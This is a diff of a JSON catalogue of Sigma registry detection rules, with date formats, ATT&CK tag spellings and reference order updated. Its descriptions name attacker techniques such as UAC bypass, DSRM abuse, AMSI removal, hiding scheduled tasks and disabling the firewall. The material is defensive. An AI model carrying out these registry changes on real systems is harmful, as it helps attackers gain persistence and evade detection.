+5563,7 @@ "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split), wagga (name)", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" @@ -5571,9 +5573,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://persistence-info.github.io/Data/userinitmprlogonscript.html", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_common.yml" ], @@ -5598,7 +5600,7 @@ "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" @@ -5608,8 +5610,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_session_manager.yml" ], @@ -5642,7 +5644,7 @@ "description": "Detects modifications to the \"Hidden\" and \"ShowSuperHidden\" explorer registry values in order to disable showing of hidden files and system files.\nThis technique is abused by several malware families to hide their files from normal users.\n", "meta": { "author": "frack113", - "creation_date": "2022/04/02", + "creation_date": "2022-04-02", "falsepositive": [ "Unknown" ], @@ -5655,7 +5657,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_file.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.001" ] }, @@ -5675,7 +5677,7 @@ "description": "Detects changes to \"DsrmAdminLogonBehavior\" registry value.\nDuring a Domain Controller (DC) promotion, administrators create a Directory Services Restore Mode (DSRM) local administrator account with a password that rarely changes. The DSRM account is an “Administrator” account that logs in with the DSRM mode when the server is booting up to restore AD backups or recover the server from a failure.\nAttackers could abuse DSRM account to maintain their persistence and access to the organization's Active Directory.\nIf the \"DsrmAdminLogonBehavior\" value is set to \"0\", the administrator account can only be used if the DC starts in DSRM.\nIf the \"DsrmAdminLogonBehavior\" value is set to \"1\", the administrator account can only be used if the local AD DS service is stopped.\nIf the \"DsrmAdminLogonBehavior\" value is set to \"2\", the administrator account can always be used.\n", "meta": { "author": "Nischal Khadgi", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "Unknown" ], @@ -5684,9 +5686,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dsrm-credentials", - "https://www.sentinelone.com/blog/detecting-dsrm-account-misconfigurations/", "https://adsecurity.org/?p=1785", + "https://www.sentinelone.com/blog/detecting-dsrm-account-misconfigurations/", + "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dsrm-credentials", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dsrm_tampering.yml" ], "tags": [ @@ -5710,7 +5712,7 @@ "description": "Detects changes to Microsoft Office protected view registry keys with which the attacker disables this feature.", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/06/08", + "creation_date": "2021-06-08", "falsepositive": [ "Unlikely" ], @@ -5719,14 +5721,14 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://admx.help/HKCU/software/policies/microsoft/office/16.0/excel/security/protectedview", "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_disable_protected_view_features.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -5746,7 +5748,7 @@ "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in.\nWinlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/30", + "creation_date": "2021-12-30", "falsepositive": [ "Unknown" ], @@ -5779,7 +5781,7 @@ "description": "Detects changes to the AppInstaller (winget) policy. Specifically the activation of the local manifest installation, which allows a user to install new packages via custom manifests.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/17", + "creation_date": "2023-04-17", "falsepositive": [ "Administrators or developers might enable this for testing purposes or to install custom private packages" ], @@ -5792,7 +5794,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winget_enable_local_manifest.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence" ] }, @@ -5803,7 +5805,7 @@ "description": "Detects the creation of user-specific or system-wide environment variables via the registry. Which contains suspicious commands and strings", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/20", + "creation_date": "2022-12-20", "falsepositive": [ "Unknown" ], @@ -5816,7 +5818,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suspicious_env_variables.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence" ] }, @@ -5827,7 +5829,7 @@ "description": "Detect set EnableFirewall to 0 to disable the Windows firewall", "meta": { "author": "frack113", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Unknown" ], @@ -5840,7 +5842,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_firewall.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -5860,7 +5862,7 @@ "description": "Detects changes to the default RDP port.\nRemote desktop is a common feature in operating systems. It allows a user to log into a remote system using an interactive session with a graphical user interface.\nMicrosoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n", "meta": { "author": "frack113", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -5893,7 +5895,7 @@ "description": "Detects changes to the NGenAssemblyUsageLog registry key.\n.NET Usage Log output location can be controlled by setting the NGenAssemblyUsageLog CLR configuration knob in the Registry or by configuring an environment variable (as described in the next section).\nBy simplify specifying an arbitrary value (e.g. fake output location or junk data) for the expected value, a Usage Log file for the .NET execution context will not be created.\n", "meta": { "author": "frack113", - "creation_date": "2022/11/18", + "creation_date": "2022-11-18", "falsepositive": [ "Unknown" ], @@ -5906,7 +5908,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_net_cli_ngenassemblyusagelog.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -5926,7 +5928,7 @@ "description": "Detects potential abuse of the provisioning registry key for indirect command execution through \"Provlaunch.exe\".", "meta": { "author": "Swachchhanda Shrawan Poudel", - "creation_date": "2023/08/02", + "creation_date": "2023-08-02", "falsepositive": [ "Unknown" ], @@ -5940,7 +5942,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_provisioning_command_abuse.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -5960,7 +5962,7 @@ "description": "Detects when an attacker tries to disable User Account Control (UAC) by setting the registry value \"EnableLUA\" to 0.\n", "meta": { "author": "frack113", - "creation_date": "2022/01/05", + "creation_date": "2022-01-05", "falsepositive": [ "Unknown" ], @@ -5973,8 +5975,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_disable.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1548.002" ] }, @@ -5994,7 +5996,7 @@ "description": "Detects when an attacker adds a new \"Debugger\" value to the \"Hangs\" key in order to achieve persistence which will get invoked when an application crashes", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/21", + "creation_date": "2022-07-21", "falsepositive": [ "This value is not set by default but could be rarly used by administrators" ], @@ -6018,7 +6020,7 @@ "description": "Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/05/08", + "creation_date": "2017-05-08", "falsepositive": [ "Unknown" ], @@ -6027,12 +6029,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", "https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html", + "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_server_level_plugin_dll.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002", "attack.t1112" ] @@ -6060,7 +6062,7 @@ "description": "Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)", "meta": { "author": "frack113", - "creation_date": "2022/03/18", + "creation_date": "2022-03-18", "falsepositive": [ "Legitimate admin script" ], @@ -6073,7 +6075,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_set_nopolicies_user.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -6093,7 +6095,7 @@ "description": "Detects modification of the registry settings used for Internet Explorer and other Windows components that use these settings. An attacker can abuse this registry key to add a domain to the trusted sites Zone or insert javascript for persistence", "meta": { "author": "frack113", - "creation_date": "2022/01/22", + "creation_date": "2022-01-22", "falsepositive": [ "Unknown" ], @@ -6102,12 +6104,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-5---javascript-in-registry", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-5---javascript-in-registry", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_ie.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -6127,7 +6129,7 @@ "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage", "meta": { "author": "frack113", - "creation_date": "2022/01/09", + "creation_date": "2022-01-09", "falsepositive": [ "Unknown" ], @@ -6140,7 +6142,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_defender_firewall.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -6160,7 +6162,7 @@ "description": "Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.", "meta": { "author": "frack113", - "creation_date": "2022/02/26", + "creation_date": "2022-02-26", "falsepositive": [ "Unknown" ], @@ -6193,7 +6195,7 @@ "description": "Detects the removal of folders from the \"ProtectedFolders\" list of of exploit guard. This could indicate an attacker trying to launch an encryption process or trying to manipulate data inside of the protected folder", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/05", + "creation_date": "2022-08-05", "falsepositive": [ "Legitimate administrators removing applications (should always be investigated)" ], @@ -6206,7 +6208,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_exploit_guard_protected_folders.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -6226,7 +6228,7 @@ "description": "Remove SD (Security Descriptor) value in \\Schedule\\TaskCache\\Tree registry hive to hide schedule task. This technique is used by Tarrask malware", "meta": { "author": "Sittikorn S", - "creation_date": "2022/04/15", + "creation_date": "2022-04-15", "falsepositive": [ "Unknown" ], @@ -6239,7 +6241,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562" ] }, @@ -6259,7 +6261,7 @@ "description": "Detects the deletion of registry keys containing the MSTSC connection history", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/10/19", + "creation_date": "2021-10-19", "falsepositive": [ "Unknown" ], @@ -6274,7 +6276,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_mstsc_history_cleared.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070", "attack.t1112" ] @@ -6302,7 +6304,7 @@ "description": "Detects any deletion of entries in \".*\\shell\\open\\command\" registry keys.\nThese registry keys might have been used for COM hijacking activities by a threat actor or an attacker and the deletion could indicate steps to remove its tracks.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", + "creation_date": "2020-05-02", "falsepositive": [ "Legitimate software (un)installations are known to cause some false positives. Please add them as a filter when encountered" ], @@ -6311,15 +6313,15 @@ "logsource.category": "registry_delete", "logsource.product": "windows", "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/7", - "https://learn.microsoft.com/en-us/windows/win32/shell/shell-and-managed-code", + "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.C.1_22A46621-7A92-48C1-81BF-B3937EB4FDC3.md", "https://learn.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", + "https://github.com/OTRF/detection-hackathon-apt29/issues/7", "https://learn.microsoft.com/en-us/windows/win32/shell/launch", - "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.C.1_22A46621-7A92-48C1-81BF-B3937EB4FDC3.md", + "https://learn.microsoft.com/en-us/windows/win32/shell/shell-and-managed-code", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_com_hijacking_registry_key.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -6339,7 +6341,7 @@ "description": "Detects the deletion of AMSI provider registry key entries in HKLM\\Software\\Microsoft\\AMSI. This technique could be used by an attacker in order to disable AMSI inspection.", "meta": { "author": "frack113", - "creation_date": "2021/06/07", + "creation_date": "2021-06-07", "falsepositive": [ "Unlikely" ], @@ -6348,12 +6350,12 @@ "logsource.category": "registry_delete", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://seclists.org/fulldisclosure/2020/Mar/45", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_amsi_registry_key.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -6373,7 +6375,7 @@ "description": "Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing \"DisableAIDataAnalysis\" registry value.\nAdversaries may enable Windows Recall as part of post-exploitation discovery and collection activities.\nThis rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.\n", "meta": { "author": "Sajid Nawaz Khan", - "creation_date": "2024/06/02", + "creation_date": "2024-06-02", "falsepositive": [ "Legitimate use/activation of Windows Recall" ], @@ -6382,8 +6384,8 @@ "logsource.category": "registry_delete", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis", "https://learn.microsoft.com/en-us/windows/client-management/manage-recall", + "https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_enable_windows_recall.yml" ], "tags": [ @@ -6407,7 +6409,7 @@ "description": "Detects when the \"index\" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as \"schtasks /query\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/26", + "creation_date": "2022-08-26", "falsepositive": [ "Unknown" ], @@ -6420,7 +6422,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_index_value_removal.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562" ] }, @@ -6440,7 +6442,7 @@ "description": "Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'", "meta": { "author": "Mateusz Wydra, oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Creation of non-default, legitimate at usage" ], @@ -6449,12 +6451,12 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/", + "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.persistence", "attack.t1547" @@ -6483,7 +6485,7 @@ "description": "Detects the modification of the PortProxy registry key which is used for port forwarding.", "meta": { "author": "Andreas Hunkeler (@Karneades)", - "creation_date": "2021/06/22", + "creation_date": "2021-06-22", "falsepositive": [ "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)", "Synergy Software KVM (https://symless.com/synergy)" @@ -6493,15 +6495,15 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://adepts.of0x.cc/netsh-portproxy-code/", "https://www.dfirnotes.net/portproxy_detection/", "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://adepts.of0x.cc/netsh-portproxy-code/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_portproxy_registry_key.yml" ], "tags": [ - "attack.lateral_movement", - "attack.defense_evasion", - "attack.command_and_control", + "attack.lateral-movement", + "attack.defense-evasion", + "attack.command-and-control", "attack.t1090" ] }, @@ -6521,7 +6523,7 @@ "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation\nby causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\n", "meta": { "author": "Ilyas Ochkov, oscd.community", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Unknown" ], @@ -6530,8 +6532,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", "https://eqllib.readthedocs.io/en/latest/analytics/14f90406-10a0-4d36-a672-31cabe149f2f.html", + "http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appcertdlls_registry_key.yml" ], "tags": [ @@ -6555,7 +6557,7 @@ "description": "Alerts on trust record modification within the registry, indicating usage of macros", "meta": { "author": "Antonlovesdnb, Trent Liffick (@tliffick)", - "creation_date": "2020/02/19", + "creation_date": "2020-02-19", "falsepositive": [ "This will alert on legitimate macro usage as well, additional tuning is required" ], @@ -6564,13 +6566,13 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/inversecos/status/1494174785621819397", "https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/", + "https://twitter.com/inversecos/status/1494174785621819397", "http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_office_trust_record_modification.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1566.001" ] }, @@ -6590,7 +6592,7 @@ "description": "Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527", "meta": { "author": "Markus Neis, @markus_neis, Florian Roth", - "creation_date": "2021/07/04", + "creation_date": "2021-07-04", "falsepositive": [ "Legitimate installation of printer driver QMS 810, Texas Instruments microLaser printer (unlikely)" ], @@ -6599,18 +6601,18 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://nvd.nist.gov/vuln/detail/cve-2021-34527", - "https://nvd.nist.gov/vuln/detail/cve-2021-1675", "https://github.com/gentilkiwi/mimikatz/commit/c21276072b3f2a47a21e215a46962a17d54b3760", - "https://www.lexjansen.com/sesug/1993/SESUG93035.pdf", + "https://nvd.nist.gov/vuln/detail/cve-2021-1675", "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913", + "https://www.lexjansen.com/sesug/1993/SESUG93035.pdf", + "https://nvd.nist.gov/vuln/detail/cve-2021-34527", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mimikatz_printernightmare.yml" ], "tags": [ "attack.execution", "attack.t1204", - "cve.2021.1675", - "cve.2021.34527" + "cve.2021-1675", + "cve.2021-34527" ] }, "related": [ @@ -6629,7 +6631,7 @@ "description": "Detects persistence registry keys for Recycle Bin", "meta": { "author": "frack113", - "creation_date": "2021/11/18", + "creation_date": "2021-11-18", "falsepositive": [ "Unknown" ], @@ -6639,8 +6641,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/vxunderground/VXUG-Papers/blob/751edb8d50f95bd7baa730adf2c6c3bb1b034276/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf", - "https://www.hexacorn.com/blog/2018/05/28/beyond-good-ol-run-key-part-78-2/", "https://persistence-info.github.io/Data/recyclebin.html", + "https://www.hexacorn.com/blog/2018/05/28/beyond-good-ol-run-key-part-78-2/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_persistence_recycle_bin.yml" ], "tags": [ @@ -6664,7 +6666,7 @@ "description": "Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/30", + "creation_date": "2021-08-30", "falsepositive": [ "Unknown" ], @@ -6673,15 +6675,15 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]", - "https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/", "https://github.com/hfiref0x/UACME", + "https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/", + "https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]", "https://github.com/RhinoSecurityLabs/Aggressor-Scripts/tree/master/UACBypass", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_shell_open_keys_manipulation.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002", "attack.t1546.001" ] @@ -6709,7 +6711,7 @@ "description": "Rule to detect the configuration of Run Once registry key. Configured payload can be run by runonce.exe /AlternateShellStartup", "meta": { "author": "Avneet Singh @v3t0_, oscd.community", - "creation_date": "2020/11/15", + "creation_date": "2020-11-15", "falsepositive": [ "Legitimate modification of the registry key by legitimate program" ], @@ -6718,12 +6720,12 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", "https://twitter.com/pabraeken/status/990717080805789697", + "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runonce_persistence.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -6743,7 +6745,7 @@ "description": "Detects abusing Windows 10 Narrator's Feedback-Hub", "meta": { "author": "Dmitriy Lifanov, oscd.community", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Unknown" ], @@ -6776,7 +6778,7 @@ "description": "Sysmon registry detection of a local hidden user account.", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/05/03", + "creation_date": "2021-05-03", "falsepositive": [ "Unknown" ], @@ -6809,7 +6811,7 @@ "description": "Unfixed method for UAC bypass from Windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry.", "meta": { "author": "oscd.community, Dmitry Uchakin", - "creation_date": "2020/10/07", + "creation_date": "2020-10-07", "falsepositive": [ "Unknown" ], @@ -6818,13 +6820,13 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly", "https://lolbas-project.github.io/lolbas/Binaries/Wsreset", + "https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_bypass_via_wsreset.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -6844,7 +6846,7 @@ "description": "DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll", "meta": { "author": "Ilyas Ochkov, oscd.community, Tim Shelton", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Unknown" ], @@ -6877,7 +6879,7 @@ "description": "Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\VSS\\\\Diag\\\\VolSnap\\\\Volume are captured.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/20", + "creation_date": "2020-10-20", "falsepositive": [ "Unknown" ], @@ -6890,7 +6892,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_esentutl_volume_shadow_copy_service_keys.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002" ] }, @@ -6910,7 +6912,7 @@ "description": "Detects the presence of a registry key created during Azorult execution", "meta": { "author": "Trent Liffick", - "creation_date": "2020/05/08", + "creation_date": "2020-05-08", "falsepositive": [ "Unknown" ], @@ -6943,7 +6945,7 @@ "description": "Detects a registry key used by IceID in a campaign that distributes malicious OneNote files", "meta": { "author": "Hieu Tran", - "creation_date": "2023/03/13", + "creation_date": "2023-03-13", "falsepositive": [ "Unknown" ], @@ -6956,7 +6958,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_malware_qakbot_registry.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -6976,7 +6978,7 @@ "description": "Detects the use of Windows Credential Editor (WCE)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/12/31", + "creation_date": "2019-12-31", "falsepositive": [ "Unknown" ], @@ -6989,7 +6991,7 @@ 